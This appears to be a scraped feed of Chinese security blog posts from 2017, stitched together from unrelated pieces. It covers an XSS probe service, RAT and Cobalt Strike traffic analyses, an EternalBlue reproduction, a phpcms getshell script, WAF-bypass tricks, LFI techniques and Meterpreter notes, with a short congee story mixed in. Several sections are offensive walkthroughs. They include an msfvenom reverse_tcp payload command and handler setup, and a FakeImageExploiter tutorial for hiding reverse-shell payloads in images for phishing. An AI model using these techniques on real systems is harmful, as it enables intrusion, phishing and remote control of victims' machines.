1. Encode/Decode

加解密模块，包含：前端黑相关的加解密，代码压缩、解压、美化、执行测试，字符集转换，哈希生成，等。

2. Codz

代码模块，包含：CSRF 请求代码生成，AJAX 请求代码生成，XSS 攻击矢量，XSS 攻击 Payload，等。

3. Probe

探针模块，为了平衡，这是一个最基础的探针，且每个 IP 每天都可以生成一个唯一探针，使用者可以用这个探针发起攻击测试（如：XSS、钓鱼攻击等），探针可以获取目标用户的基本信息，使用者还可以动态植入更多的命令(JavaScript Codz)进行“远控”测试。

一些用户体验与隐私考虑：

XSS’OR，即使你浏览器不小心关掉或奔溃，你的记录也不会丢，因为相关记录都缓存到了你的浏览器本地。服务器不会存储你的任何隐私，除了 Probe 的结果记录（仅是结果记录）会临时性缓存，这是因为设计考虑，但每天0点都会自动清除。

放心使用吧！地址： xssor.io

如果你有好的想法与贡献，我们采纳后，会在 XSS’OR 致谢榜上感谢你。

zxshell3.0后门程序通信数据简单分析

Fri, 12 May 2017 15:17:02 +0000

前言：

这是一个很就很久以前的远控了，这东西好像当时用的人比较少。今天在网上发现了于是下载下来分析一下。软件轻巧简洁，功能也比较齐全，唯一感觉不足的是配置个人感觉比较麻烦。软件的介绍及简单使用说明在压缩包里的“必读.txt”，这里不再赘述，本文主要从后门通信的数据流量角度去分析，文末附远控样本及分析过程中的数据包。

zxshell3压缩包里面包含以下文件：

├─Controller.exe 控制端，用来操控上线的服务端 ├─ctrldll.dll Controller.exe的模块，主要负责远程桌面时拦截本地系统一些热键。 ├─qqwry.dat ip到地理位置的数据库,可以自己下载更新的版本代替它 ├─srv │ ├─myip.txt 放在http服务器配合上线通知的用的，如果直接通过域名解析则无需用到此文件 │ ├─ZXCFG.exe 配置ZXShell.exe的默认安装参数 │ ├─zxplug.rar ZXPlug插件功能, 如何添加自定义命令的一个例子 │ └─ZXShell.exe 服务端,console版本,有几个参数,可以在cmd 下通过 -help 参数获得详细信息 └─必读.txt

程序适应平台：2000/xp/vista(在测试的时候发现win7上也可正常运行)。

分析环境

控制端：win7虚拟机（10.0.3.160）

服务端：win7虚拟机（10.0.3.172）

上线端口默认为1985

分析过程

下面将从样本的上线、远程桌面、文件控制、命令执行等操作指令的流量数据特征进行分析。

样本配置

样本的配置如下图

控制端默认设置监听端口1985，填好配置的上线密码如下图

样本配置好后，控制端点击右边的启动按钮开始监听。将生成的样本放到服务端（10.0.3.172）上并运行。（由于本地测试就没有使用外网上行的方式，采用的本地测试上线方式），在10.0.3.172上打开一个CMD，执行“puliic_ZXShell.exe -ip 10.0.3.160 -port 1985 -filename c:\ctrldll.dll -test”,可以看见会释放一个ctrldll.dll文件到我们指定的目录下

此时我们回到控制端，可以看到已经上线

上线后可以看到服务端的版本、IP、地理位置、信通信息等信息。

此时我们可以从服务端上抓取的两台机器通信的数据包中可以看到上线帧。上线之后同多数远控一样，自动发送本机的一些基本信息给控制端，如下图

此时我们点击控制端上的“系统信息”，获取服务端电脑信息。可以看到，与上线帧里面获取的系统信息不通的是，此时服务端返回的信息系统信息更加详细。

抓到的数据包：

可以发现，控制端首先发送指令“sysinfo”给服务端，随后服务端分两个包返回了系统信息。

远程桌面

指令为：winvnc

视频监视

指令为：capsrv

获取一个CMD

指令为：getcmd

获取CMD后我们执行一条命令:calc.exe,打开服务端电脑上的计算器。

图片后门捆绑利用工具 – FakeImageExploiter

Fri, 12 May 2017 03:00:34 +0000

在这里，要向大家推荐一款名为“Fake Image Exploiter”的黑客工具，该工具可以在图片文件中捆绑隐藏的恶意.bat或.exe程序，方便钓鱼或社工攻击过程中的入侵控制。如果受害者点击该恶意图片文件后，将会向控制主机反弹一个管理控制会话。以下是其使用视频： https://www.youtube.com/watch?v=4dEYIO-xBHU

配置使用

首先，打开Kali终端，执行下载安装和配置：

git clone https://github.com/r00t-3xp10it/FakeImageExploiter.git

下载完成之后，进入FakeImageExploiter文件夹，选择setting文件进行配置：

在此，你可以选择隐藏在图片中的Payload格式，有ps1、bat、txt和exe四种格式可选，我们选择PAYLOAD_EXETNSION=bat；在生成捆绑图片文件的替换图标icon选项中，我们选择BYPASS_RH=NO，非自动，需要手动更改和添加最终生成的图片图标icon。

同样，在setting文件中找到以下两列进行按需修改：

AUTO_PAYLOAD_BUILD=YES （自动生成Payload选项）

AGENT_HANLER_PORT=4444（植入恶意程序后的客户端监听端口）

配置选项完成后，可以启动Fake Image Exploiter主程序。

生成Payload

Cd FakeImageExploiter

./ FakeImageExploiter.sh

选择YES启动Payload生成配置框架：

选择在捆绑在图片文件中的恶意程序需要加载利用的Payload，这里我们选择window/meterpreter/reverse_tcp：

之后，会跳出提示框，需要手动选择你需要捆绑.bat Payload进行伪装利用的jpg图片文件：

以及最终图片文件的替换图标icon主题：

接下来，为最终捆绑好的恶意图片文件进行命名：

FakeImageExploiter最后会生成在两个位置生成恶意图片文件，一个为本机Apache2 web服务的根目录下的.zip文件，另外为FakeImageExploiter输出文件夹（output）下的隐藏后缀恶意图片文件，点击执行后，该文件在显示jpg图像的同时，还会隐秘生成一个连向控制主机的反弹管理会话：

以下是控制端成功连接后显示的反弹管理会话：

好了，工具介绍完了，但请别用于非法目的哦。

*参考来源： hackingarticles ，freebuf小编clouds编译，转载请注明来自FreeBuf.com

PHP-CGI远程代码执行漏洞（CVE-2012-1823）分析

Thu, 11 May 2017 17:16:48 +0000

CVE-2012-1823出来时据说是“PHP远程代码执行漏洞”，曾经也“轰动一时”，当时的我只是刚踏入安全门的一个小菜，直到前段时间tomato师傅让我看一个案例，我才想起来这个漏洞。通过在 Vulhub 中对这个漏洞环境的搭建与漏洞原理的分析，我觉得还挺有意思的，故写出一篇文章来，和大家分享。

PHP SAPI 与运行模式

首先，介绍一下PHP的运行模式。

下载PHP源码，可以看到其中有个目录叫sapi。sapi在PHP中的作用，类似于一个消息的“传递者”，比如我在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm，他的作用就是接受Web容器通过fastcgi协议封装好的数据，并交给PHP解释器执行。

除了fpm，最常见的sapi应该是用于Apache的mod_php，这个sapi用于php和apache之间的数据交换。

php-cgi也是一个sapi。在远古的时候，web应用的运行方式很简单，web容器接收到http数据包后，拿到用户请求的文件（cgi脚本），并fork出一个子进程（解释器）去执行这个文件，然后拿到执行结果，直接返回给用户，同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行，这种执行方式一般就被称为cgi，在安装Apache的时候默认有一个cgi-bin目录，最早就是放置这些cgi脚本用的。

但cgi模式有个致命的缺点，众所周知，进程的创建和调度都是有一定消耗的，而且进程的数量也不是无限的。所以，基于cgi模式运行的网站通常不能同时接受大量请求，否则每个请求生成一个子进程，就有可能把服务器挤爆。于是后来就有了fastcgi，fastcgi进程可以将自己一直运行在后台，并通过fastcgi协议接受数据包，执行后返回结果，但自身并不退出。

php有一个叫php-cgi的sapi，php-cgi有两个功能，一是提供cgi方式的交互，二是提供fastcgi方式的交互。也就说，我们可以像perl一样，让web容器直接fork一个php-cgi进程执行某脚本；也可以在后台运行 php-cgi -b 127.0.0.1:9000（php-cgi作为fastcgi的管理器），并让web容器用fastcgi协议和9000交互。

那我之前说的fpm又是什么呢？为什么php有两个fastcgi管理器？php确实有两个fastcgi管理器，php-cgi可以以fastcgi模式运行，fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的，是一个更高效的fastcgi管理器，其诸多优点我就不多说了，可以自己去翻翻源码。因为fpm优点更多，所以现在越来越多的web应用使用php-fpm去运行php。

历史成因

回到本漏洞。CVE-2012-1823就是php-cgi这个sapi出现的漏洞，我上面介绍了php-cgi提供的两种运行方式：cgi和fastcgi，本漏洞只出现在以cgi模式运行的php中。

这个漏洞简单来说，就是用户请求的querystring被作为了php-cgi的参数，最终导致了一系列结果。

探究一下原理， RFC3875 中规定，当querystring中不包含没有解码的 = 号的情况下，要将querystring作为cgi的参数传入。所以，Apache服务器按要求实现了这个功能。

但PHP并没有注意到RFC的这一个规则，也许是曾经注意并处理了，处理方法就是web上下文中不允许传入参数。但在2004年的时候某个开发者发表过这么一段言论：

From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)

In our SAPI cgi we have a check along these lines:

 if (getenv("SERVER_SOFTWARE")
 || getenv("SERVER_NAME")
 || getenv("GATEWAY_INTERFACE")
 || getenv("REQUEST_METHOD")) {
 cgi = 1;
 }

 if(!cgi) getopt(...)

As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.

The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:

 #!/usr/local/bin/php-cgi -d include_path=/path
 <?php
 ...
 ?>

and have it work both from the command line and from a web context.

As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.

-Rasmus

显然，这位开发者是为了方便使用类似 #!/usr/local/bin/php-cgi -d include_path=/path 的写法来进行测试，认为不应该限制php-cgi接受命令行参数，而且这个功能不和其他代码有任何冲突。

NSA Eternalblue SMB 漏洞分析

Mon, 17 Apr 2017 16:22:51 +0000

环境

EXPLOIT: Eternalblue-2.2.0.exe

TARGET: win7 sp1 32bits srv.sys 6.1.7601.17514 srvnet.sys 6.1.7601.17514

PATCH: MS17-010

漏洞原理

srv.sys在处理 SrvOs2FeaListSizeToNt 的时候逻辑不正确导致越界拷贝。我们首先看下漏洞的触发点：

unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)
{
 int v4; // edi@1
 _BYTE *v5; // edi@1
 unsigned int result; // eax@1

 v4 = a1 + 8;
 *(_BYTE *)(a1 + 4) = *(_BYTE *)a2;
 *(_BYTE *)(a1 + 5) = *(_BYTE *)(a2 + 1);
 *(_WORD *)(a1 + 6) = *(_WORD *)(a2 + 2);
 _memmove((void *)(a1 + 8), (const void *)(a2 + 4), *(_BYTE *)(a2 + 1));
 v5 = (_BYTE *)(*(_BYTE *)(a1 + 5) + v4);
 *v5++ = 0;
 _memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6)); //这里产生的越界覆盖
 result = (unsigned int)&v5[*(_WORD *)(a1 + 6) + 3] & 0xFFFFFFFC;
 *(_DWORD *)a1 = result - a1;
 return result;
}

发生越界的地方见上面第二个 memmove。调试的时候可以这样下断点：

kd> u srv!SrvOs2FeaToNt+0x4d
srv!SrvOs2FeaToNt+0x4d:
9877b278 ff15e0a07698 call dword ptr [srv!_imp__memmove (9876a0e0)]
9877b27e 0fb74606 movzx eax,word ptr [esi+6]
9877b282 8d441803 lea eax,[eax+ebx+3]
9877b286 83e0fc and eax,0FFFFFFFCh
9877b289 83c418 add esp,18h
9877b28c 8bc8 mov ecx,eax
9877b28e 2bce sub ecx,esi
9877b290 5f pop edi

//最后一次越界的拷贝的长度是0xa8
ba e1 srv!SrvOs2FeaToNt+0x4d ".if(poi(esp+8) != a8){gc} .else {}"

这么设断点的原因是最后一次越界的拷贝的长度是0xa8,断下来后可以发现：

方程式ETERNALBLUE之fb.py的复现

Mon, 17 Apr 2017 16:18:15 +0000

1.环境简介

攻击机win2003

ip:192.168.1.105

攻击机kali:

ip:192.168.1.106

靶机（被攻击机）window7 x64(未装smb漏洞补丁）

ip:192.168.1.100

2.windows2003攻击机

攻击机win2003安装环境：

python-2.6.6.msi

https://www.python.org/download/releases/2.6.6/

pywin32-221.win-amd64-py2.6.exe：

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/

方程式ETERNALBLUE 下载地址：

https://codeload.github.com/misterch0c/shadowbroker/zip/master

安装好python后，需要在win2003设置环境变量：

将整个ETERNALBLUE 目录下的 windows拷贝到攻击机win2003上

在windows目录下建立一个文件为：listeningposts

运行phthon fb.py

以下在攻击机win2003上执行fb.py的具体命令重要命令如下，其他命令都用回车执行。

3.攻击机kali上

利用msf生成一个dll劫持文件：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.106 ORT=5555 -f dll > /opt/s.dll

将s.dll文件拷贝到windows2003的C盘目录下：

在msf下开启msfpaylod监听：

use exploit/multi/handler

set lhost 192.168.1.106

set lport 5555

set PAYLOAD windows/x64/meterpreter/reverse_tcp

exploit

4.接着在windows2003下执行

最后在 msf 下可以看到成功反弹 shell:

phpcmsV9.6.0一键批量getshell工具

Mon, 10 Apr 2017 17:00:01 +0000

介绍

一键化 python 1.py http://xxx.com
不再是只允许执行一次有回显，加入了爆破，1-3s内即可找到你的webshell，不论是否有回显，只要成功

待办

[] 加入对有验证码phpcms网站的支持
[] 加入批量

说明

依赖库的安装 pip install requests

代码

# -*- coding:utf-8 -*-

’’' ---——————- Author : Akkuman Blog : hacktech.cn ---——————- ’''

import requests from datetime import datetime from bs4 import BeautifulSoup # from urlparse import unquote //Python2 # from urlparse import urlparse //Python2 from urllib.parse import quote from urllib.parse import urlparse from random import Random

rand_name = ’' chars = ‘qwertyuiopasdfghjklzxcvbnm0123456789’ random = Random()

bypass姿势汇总，防火墙绕过技巧总结，IPS、IDS绕过技术

Tue, 21 Mar 2017 14:33:12 +0000

bypass姿态汇总

MayIKissYou | 2015-01-04 17:16

比来做web测试的时辰也翻阅了不少资料，各类姿态下的bypass，自己看到的和理会的总结一下，分享给小同伴们。

1：数据流向：

如下图所示：

描绘了从阅读器敲下URL到央求最终发送到web干事器，中心履历了若干设备，哪些处所经由了措置责罚，哪些处所没有经由措置责罚。

经由公网的时辰，公网普通都是一些任务在搜集层的设备，这些设备根基做路由转发，不会关于数据包停止运用层措置责罚的。在到达目标干事器之前，能够会有一些防护设备，如云waf，又如硬件waf，ips，ids设备，这些设备会关于数据包停止措置责罚，是以在此处针关于一些运用层的防护设备应该有bypass的姿态，为第一个角度。数据包会发送到终端，终端会有windows和linux之分，同时分歧操作系统上也会装置纷歧样的主机防护，如safedog，是以针对此类主机防护能够也会有bypass的姿态，为第二个角度。经由主机防护的包会发送到web干事器，web干事器也有许多种，如罕见的apache和iis等。是以针关于web干事器也会有bypass的姿态，为第三个角度。web干事器的数据流会被发布在web干事器上的运用法式措置责罚，针关于运用法式异样也会有bypass的姿态，为第四个角度web法式措置责罚的进程中会与数据库交互，分歧的数据库有分歧的特征，应此关于分歧的数据库异样会有bypass的姿态，为第五个角度。

2：waf以及主机防护bypass

现在市情上各类waf与主机防护，如百度一下云减速，阿里云盾，减速乐，安全宝，安全狗，云锁，360网站卫士等等，之前编写了一篇文章，bypass ips姿态的，其实测试过的都邃晓，外面的一些trick合用于许多防护设备的，这里将总结增补下：

1）：点窜央求的体式格式，央求的内容普通分为get，post以及cookie的体式格式，post下又会有urlencode以及form-data的提交两种

2）：截断字符的行使

3）：要害字url编码的行使

4）：脏数据的添加，即添加有效数据，有能够跨越最年夜的检测长度，而招致bypass，之前写过一个bypass安全狗的就是行使的此trick

5）：fuzz测试，这里我普通会每一种央求体式格式均fuzz一次，这里fuzz的处所，主假若有能够waf之类的设备措置责罚某些字符欠妥招致了bypass。

6）：关于waf类的其实找到原始IP直接接见，也是一种bypass的体式格式。

3：webserver端的bypass姿态

webserver罕见的iis，apache以及tomcat等等

我见到过的能够可以行使的：

1）：iis在asp法式措置责罚中，关于%措置责罚的不是太好，貌似直接显示空白了

2）：iis在aspx法式措置责罚中关于%u00措置责罚的不是太好，貌似直接显示空白了

3）：iis加asp状况下的复参进击，在如下毗邻中有参考：

4）：apache干事器关于畸形央求的解析,此处没有考证，马脚毗邻

4：web法式端bypass姿态

web法式普通运转在webserver上，web法式在获取参数假设选择体式格式不准确能够形成bypass：

1：asp asp.net中获取参数假设应用的Request[”]的方式的话，可以应用畸形的央求，如一个GET央求，同时还发送了post部门的内容

2：之前说到替代提交体式格式绕过的其实需求此处web法式的支撑，如罕见的dedecms就会支撑get post以及cookie的提交。

5：数据库端的bypass姿态

数据库端的bypass年夜多是行使了数据库的特征，数据库有mysql,mssql,oracle等等

其实数据到最后在数据库被执行了才算是真正的bypass，是以直接从数据库特征去测试普通是最有用的：

mysql的特征，之前有一篇帖子专门描绘了mysql的测试结果，而且经自己测试在许多的waf下行使某些trick都是能bypass的，帖子链接：

http://zone.wooyun.org/content/16772

1）：空白符的行使（之前有人做过空白符的测试）【http://zone.wooyun.org/content/15953】

SQLite3 0A 0D 0C 09 20

MySQL5 09 0A 0B 0C 0D A0 20

PosgresSQL 0A 0D 0C 09 20

Oracle 11g 00 0A 0D 0C 09 20

MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

在数据库中的空白符能够和php或许其他的web法式端的空白符存在差别，这样的差别能够就会招致绕过正则或其他进攻的绕过。

2）：行使数据库fuzz测试，在http://zone.wooyun.org/content/16772中有小同伴就做了相关的测试，如：

基于DNS、HTTP和HTTPS隧道协议的木马流量分析

Thu, 09 Mar 2017 12:13:31 +0000

文中所用的样本均由Cobalt Strike 3.6版生成，这里就不再详细介绍使用方法和样本的配置过程，想了解的可参考上一篇文章《Cobalt strike3.0使用手册》。本文主要针对样本的通信流量特征进行分析。样本来源 Cobalt Strike3.6样本类型TR.Crypt.XPACK.Gen7分析时间 2017-03-06运行环境控制端: 182.92.84.176 木马端: 192.168.86.192

使用DNS隧道传输

1.首先打开Cobalt Strike3.6设置好监听端口5555，并生成可执行文件EXE木马样本。

图1-设置监听端口

2.在主机192.168.86.192上运行木马样本，同时打开Wireshark抓取本机流量。运行样本后从流量中可发现主机产生大量DNS请求，直至在控制端上线后才停止DNS请求。如下图

图2-上线

3．来到控制端，发现主机已经上线。打开beacon管理器在控制端输入“mod dns-txt”，设置数据传输模式为dns-txt.如下图

图3-主机上线

4.设置好传输模式后，尝试对主机做一些简单操作，观察Wireshark中的数据流量特征。

执行远程主机文件目录查看操作：

图4-1远程主机文件目录查看

图4-2远程主机文件目录查看

从上图可发现此时控制端发送的命令和主机返回的目录信息数据都已经通过DNS-TXT隧道加密传输。

执行“net user”查看操作：

在beacon管理器中执行net user命令

图5-1执行net user命令

图5-2 执行net user命令

通过主机发送net user命令后抓到的数据包可以看出，命令和返回的信息也都已经被加密通过dns协议传输。

小结：通过DNS隧道传输隐蔽性较强不易被发现，但传输速度非常慢。

使用HTTP传输

分析过程：

操作步骤同上，在生成EXE木马选择payload时选择windows/beacin_http/reverse_http. 端口：6666

木马上线

图6-1木马上线

图6-2木马上线

通过抓取的上线数据包可以看出木马上线后会向控制端提交一个GET /JRLU 请求。

图7-1远程目录查看

图7-2目录查看

从上图可以看出，控制端发出目录查看请求后主机首先向控制端GET /visit.js文件后再通过POST /submit.php?id=42612把主机文件目录信息发送给控制端。整个过程都走HTTP协议，全都采用明文传输。

使用HTTPS传输

操作步骤同上，在生成EXE木马选择payload时选择windows/beacin_https/reverse_https. 端口：9999如下图：

图8-监听设置

1.木马上线

Cobalt Strike3.0使用手册

Wed, 01 Mar 2017 14:50:48 +0000

0x00 简介

Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，Java木马生成，Office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用，当然可以结合Armitage进行使用。这里有一个破解版：

下载地址：戳我 (自行验证其安全性)

Cobalt Strike 3.0 延用了其强大的团体服务器功能，能让多个攻击者同时连接到团体服务器上，共享攻击资源与目标信息和sessions。当然，在使用Cobalt Strike之前，需要安装java环境，具体怎么配置，请移步[java language=“环境搭建”][/java] /java 3 。

0x01 运行

与之前版本的 Cobalt Strike不同， Cobalt Strike3.0需要开启团体服务器才可以链接使用，当然，这个服务器可以放到公网环境下，或者放到自己想要搭建此服务的环境中。下载好Cobalt Strike以后包含以下几个文件：

其中关键的文件是teamserver以及cobaltstrike.jar，将这两个文件放到服务器上同一个目录，然后运行：

? cobaltstrike sudo ./teamserver 192.168.74.1 msf3

这里为了方便使用，最好使用具体的IP地址，而不是0.0.0.0或者127.0.0.1, 如果有多个网卡，使用你要用的那个ip地址即可， msf3 为该团体服务器的连接密码。

服务运行以后，在客户端进行连接：

? cobaltstrike java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*

这里ip使用服务器的ip，端口默认50050，用户名随意，密码为之前设置的密码，然后connect,弹出验证窗口，然后点是，就进入Cobalt Strike了。

0x02 Listeners

使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike->Listeners ，然后点击Add便可以创建自己想要的Listeners了，Cobalt Strike3.0包括

Windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

其中 windows/beacon* 是Cobalt Strike自带的模块，包括dns,http,https,smb四种方式的监听器， windows/foreign* 为外部监听器，即msf或者Armitage的监听器。选择监听器以后，host会自动填写我们开启服务时的ip，配置监听端口，然后保存，监听器就创建好了。

一个食粥的故事

Mon, 20 Feb 2017 11:20:49 +0000

Part.1

从前有个女孩，有一天生病了。有一个男孩便在她家楼下买了一碗粥给她吃。她那时觉得这碗粥是全世界最好吃的粥。第二天，女孩看到装粥的袋子。不相信是在楼下那间铺子买的。于是决定再去楼下吃一次。

Part.2

女孩来到粥铺，发现今天的粥好难吃。她对自己说，没道理的。昨天那碗粥要么是那个男孩在别家铺子买的，也可能是他亲手煮的。她甚至很讨厌铺子里面正在吃粥的人。于是从那天开始，她就每天坚持都要吃粥。与此同时，也会感到迷惑。究竟所有的粥，艇仔、猪红、牛肉粥。其实都是一样的味道呀。还是每一碗艇仔粥的味道，都是不一样的呢？

Part.3

终于，这个女孩尝遍了所有粥铺的粥。都没有吃出像最初那碗粥那样的美味。还越吃越难吃。没有胃口之后，她忽然明白了。有粥食粥，有饭食饭。不一定要和别人争着吃粥。就算不吃饭都可以吃面。还可以吃道亭面呀，啖啖面呀。如果还不行，吃Angle hair都可以啊。

这个故事告诉我们，生病的时候，粥不只是一碗粥。但是病愈之后，粥只是一碗粥。可以吃，可以不吃。当然，粥并不可以乱吃。不要以为，食粥不会上瘾啊。

SMBv3远程拒绝服务(BSOD)漏洞分析

Tue, 14 Feb 2017 16:17:10 +0000

作者： k0shl

作者博客： http://whereisk0shl.top

前言

我是菜鸟，大牛轻喷……

这个SMBv3漏洞是由lgandx爆出的一个未被微软修复的漏洞（暂未发布补丁），漏洞出来后我进行了一定的分析，花了很多时间，这个漏洞有一些意思，但是对于SMB的整个协议通信过程非常庞大，所以没有进行非常细致的跟踪，包括一些不透明的结构体让我感到晕头转向，但到最后还是有了一些结果。

这个SMB漏洞可以看作是被动的，需要用户主动去访问445端口才可以触发，而不像ms08067一样主动攻击别人，所以需要运行漏洞脚本在操作系统上。

终于赶在元宵节这天完成了这个任务，也在这里，祝大家元宵节快乐（不知道文章发布的时候过没过元宵节23333）！

这个漏洞在twitter爆出来之后，很多老外也在微博下面问是否可以RCE，包括国内的预警中也有人问到。

http://bobao.360.cn/learning/detail/3451.html http://www.freebuf.com/vuls/126100.html

那么很多人看到PoC中的关键部分，就会想：有填充数据，会不会是缓冲区溢出！

 ## Tree Connect
if data[16:18] == "\x03\x00":
head = SMBv2Header(Cmd="\x03\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", TID="\x01\x00\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data))
t = SMB2TreeData(Data="C"*1500)#//BUG
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Triggering Bug; Tree Connect SMBv2 packet sent."
self.request.send(buffer1)
data = self.request.recv(1024)

答案是否定的，至少在我看来，大量的数据目的并非是为了填充缓冲区，而是为了绕过tcpip.sys的某处判断，从而进入漏洞出发的函数调用逻辑。

问题出现在smbv2后的一个特性Tree Connect，用来处理共享服务的特性，opcode：0x03，而整个问题，确是多个地方导致的。下面我们就一起来进入今天的旅程吧！

Github地址： https://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect

漏洞复现

首先，网上关于这个漏洞的触发方法有很多，比较通用的是twitter中某老外提到的Powershell的方法，最为简单，首先我们调试的环境是：Windows 10 x64 build 1607

接下来我们在kali2.0里运行漏洞脚本。

随后执行"dir \ip\PATH"，漏洞触发，通过windbg双机联调，此时捕捉到了BSOD。

可以看到提示此时问题出现在mrxsmb20.sys中，问题函数是Smb2ValidateNegotiateInfo，来看一下触发位置的代码。

kd> p

mrxsmb20!Smb2ValidateNegotiateInfo+0x17:

fffff803`1869c7d7 66394114 cmp word ptr [rcx+14h],ax
kd> r rcx
rcx=0x00000000`00000000

此时rcx的值为0x0，是一处无效地址，因此这是由于空指针引用导致的BSOD，接下来继续执行可以看到Windows 10引发蓝屏。

回溯及数据包分析(important!)

我们来看一下mrxsmb20.sys关于Tree Connect特性的一些内容，代码逻辑相对简单。

可以看到执行到Smb2ValidateNegotiateInfo函数有两条逻辑调用，一个是Smb2TreeConnect_CopyData，一个是Smb2TreeConnect_Receive，这里我就把我回溯的结果和大家分享一下，首先，通过Smb2TreeConnect_Receive来接收smb的Tree Connect数据，这个是通过opcode来决定的。

正常情况下不会进入Smb2TreeConnect_CopyData，但一旦由不正常（后面会提到）数据包执行，则会在Receive之后进入CopyData函数的处理逻辑，从而引发漏洞。

渗透测试技术之本地文件包含

Tue, 24 Jan 2017 03:11:20 +0000

概述

通过加强对本地文件包含(LFI)渗透测试技术的研究，可以帮助渗透测试人员和学生在未来的渗透测试过程中，识别和测试LFI漏洞。在Web程序渗透测试中，利用本文中的技术发现的LFI漏洞是渗透测试中的典型漏洞。此外，在本文中提到有一些技术，在CTF大赛中也经常被利用。

什么是本地文件包含(LFI)漏洞?

LFI允许攻击者通过浏览器包含一个服务器上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下，就有可能存在这个漏洞，该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。

漏洞代码实例

如下图，这是一个存在本地文件包含漏洞的PHP代码：

在WEB应用程序中识别LFI

LFI漏洞很容易被识别和利用。任何一个包含WEB服务器文件的脚本，对于下一步的LIF测试，都是一个很好的切入点，例如：

对于渗透测试人员，可以尝试通过操纵文件位置参数来利用它，就像是这样的：

上面是为了显示出在UNIX或LINUX系统中/etc/passwd文件的内容。

下图是在一个WEB应用程序中，成功利用LFI漏洞的例子：

PHP封装

PHP的大量封装经常被滥用，有可能导致绕过输入过滤。

PHP Expect封装

PHP的“expect://”允许执行系统命令，不过，PHP expect模块在默认情况下是没有启用的。

PHP file://封装

下图是一个带有payload的POST请求：

下图利用php://input攻击DVWA，包含了一个“ls”命令，如下：

攻击后的响应情况如下图：

PHP php://filter

PHP php://filter允许渗透测试人员包含本地文件，并将输出数据用BASE64编码。当然，用BASE64编码的输出数据需要经过解码，还原出原始内容。

攻击实例如下：

运行结果如下：

然后对输出结果进行BASE64解码。

如上所示，已经还原出原始内容。

当然，php://filter也可以在不用BASE64编码(编码应该是为了隐藏目的)的情况下输出结果：

结果如下：

PHP ZIP封装LFI

PHP ZIP封装主要在服务器端处理上传的.zip文件，攻击者可以通过一个存在漏洞的文件上传功能，上传一个ZIP文件，并通过LFI来执行服务器端的ZIP过滤器。一个典型的攻击实例看起来是这样的：

1.创建一个PHP反弹SHELL(SHELL.php)。

2.将其压缩成一个.zip文件。

3.将这个.zip文件上传到远程服务器。

4.利用PHP ZIP封装提取PHP SHELL，使用“php?page=zip://path/to/file.zip%23shell”。

5.上面的命令会将提取的文件存储为名为SHELL.php的文件，如果服务器端没有添加.php后缀，可以通过重命名来添加。

如果文件上传功能不允许上传ZIP文件，可以尝试利用各种方法绕过文件上传限制(参见: OWASP file upload testing document)。

通过/proc/self/environ执行LFI

通过本地文件包含漏洞,查看是否可以包含/proc/self/environ文件。然后向User-Agent头中注入PHP代码有可能会攻击成功。如果代码被成功注入到User-Agent头中，本地文件包含漏洞会利用并执行/proc/self/environ，用于重新加载环境变量，最后会执行你的反弹shell。

空字节技术

通过在URL编码中增加“空字节”，比如“00%”，在某些情况下能绕过WEB应用程序中的过滤。通常，增加空字符后，后端的WEB应用程序对该输入有可能会放行或不处理，从而可以绕过WEB应用黑名单过滤器。

下面是一些特殊的LFI空字节注入的实例：

截断LFI绕过

截断是另一个绕过黑名单的技术，通过向有漏洞的文件包含机制中注入一个长的参数，WEB应用有可能会“砍掉它”(截断)输入的参数，从而有可能绕过输入过滤。

Metasploit 渗透测试笔记(Meterpreter篇)

Mon, 23 Jan 2017 07:41:26 +0000

0x01 背景

meterpreter作为后渗透模块有多种类型，并且命令由核心命令和扩展库命令组成，极大的丰富了攻击方式。需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll，所以在网络不稳定的情况下经常出现没有可执行命令，或者会话建立执行help之后发现缺少命令。连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况，别担心结束了之后再来一次，喝杯茶就好了。

0x02 常用类型

reverse_tcp

path : payload/windows/meterpreter/reverse_tcp

